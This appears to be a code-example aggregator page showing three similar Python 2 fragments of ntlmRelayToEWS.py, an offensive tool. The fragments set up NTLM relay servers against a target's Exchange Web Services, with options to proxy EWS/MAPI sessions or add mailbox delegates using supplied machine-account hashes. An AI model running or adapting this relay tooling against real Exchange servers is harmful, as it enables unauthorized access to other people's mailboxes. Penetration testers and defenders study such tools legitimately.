コード例 #1
0
ファイル: ntlmRelayToEWS.py プロジェクト: raystyle/NtlmRelayX
    print helper.color("[*] Running in relay mode to single host")
    targetSystem = TargetsProcessor(singletarget=args.target)

    if args.request == "proxyEWS" or args.request == "proxyMAPI":
        # we're going to spawn threads for the connection and let another tool take over
        print helper.color("[*] Proxying EWS connections for " + args.target)

        body = None

    #-----------------------------------------------------------------
    # Setting up relay servers
    #-----------------------------------------------------------------
    for server in RELAY_SERVERS:
        #Set up config
        c = NTLMRelayxConfig()
        c.setTargets(targetSystem)
        c.setOutputFile(args.output_file)
        c.setEWSParameters(body, args.request, args.folder or None,
                           args.destAddresses or None, args.url or None)
        c.setMode('RELAY')
        c.setAttacks(ATTACKS)

        if args.machine_account is not None and args.machine_hashes is not None and args.domain is not None:
            c.setDomainAccount(args.machine_account, args.machine_hashes,
                               args.domain)
        elif (args.machine_account is None and args.machine_hashes is None
              and args.domain is None) is False:
            print helper.color(
                "[!] You must specify machine-account/hashes/domain all together!"
            )
コード例 #2
0
		if args.destAddresses:
			# In the case of adding a delegate, the first request is a GET (so no body)
			body = None
		else:
			print helper.color("[!] Missing mandatory arguments for [addDelegate] request. Required arguments are: destAddresses")
			sys.exit(1)

	print helper.color("[*] Running in relay mode to single host")
	targetSystem = TargetsProcessor(singletarget=args.target)

	#-----------------------------------------------------------------
	# Setting up relay servers
	#-----------------------------------------------------------------
	for server in RELAY_SERVERS:
		#Set up config
		c = NTLMRelayxConfig()
		c.setTargets(targetSystem)
		c.setOutputFile(args.output_file)
		c.setEWSParameters(body, args.request, args.folder or None, args.destAddresses or None, args.url or None)
		c.setMode('RELAY')
		c.setAttacks(ATTACKS)

		if args.machine_account is not None and args.machine_hashes is not None and args.domain is not None:
		    c.setDomainAccount( args.machine_account,  args.machine_hashes,  args.domain)
		elif (args.machine_account is None and args.machine_hashes is None and args.domain is None) is False:
		    print helper.color("[!] You must specify machine-account/hashes/domain all together!")
		    sys.exit(1)

		s = server(c)
		s.start()
		
コード例 #3
0
            body = None
        else:
            print helper.color(
                "[!] Missing mandatory arguments for [addDelegate] request. Required arguments are: destAddresses"
            )
            sys.exit(1)

    print helper.color("[*] Running in relay mode to single host")
    targetSystem = TargetsProcessor(singleTarget=args.target)

    #-----------------------------------------------------------------
    # Setting up relay servers
    #-----------------------------------------------------------------
    for server in RELAY_SERVERS:
        #Set up config
        c = NTLMRelayxConfig()
        c.setTargets(targetSystem)
        c.setOutputFile(args.output_file)
        c.setEWSParameters(body, args.request, args.folder or None,
                           args.destAddresses or None, args.url or None)
        c.setMode('RELAY')
        c.setAttacks(ATTACKS)
        c.setProtocolClients(PROTOCOL_CLIENTS)
        c.setOutputFile(args.output_file)
        if args.filter:
            c.setFilter(args.filter)
        if args.httpport:
            c.setHttpport(args.httpport)
        if args.limit:
            c.setLimit(args.limit)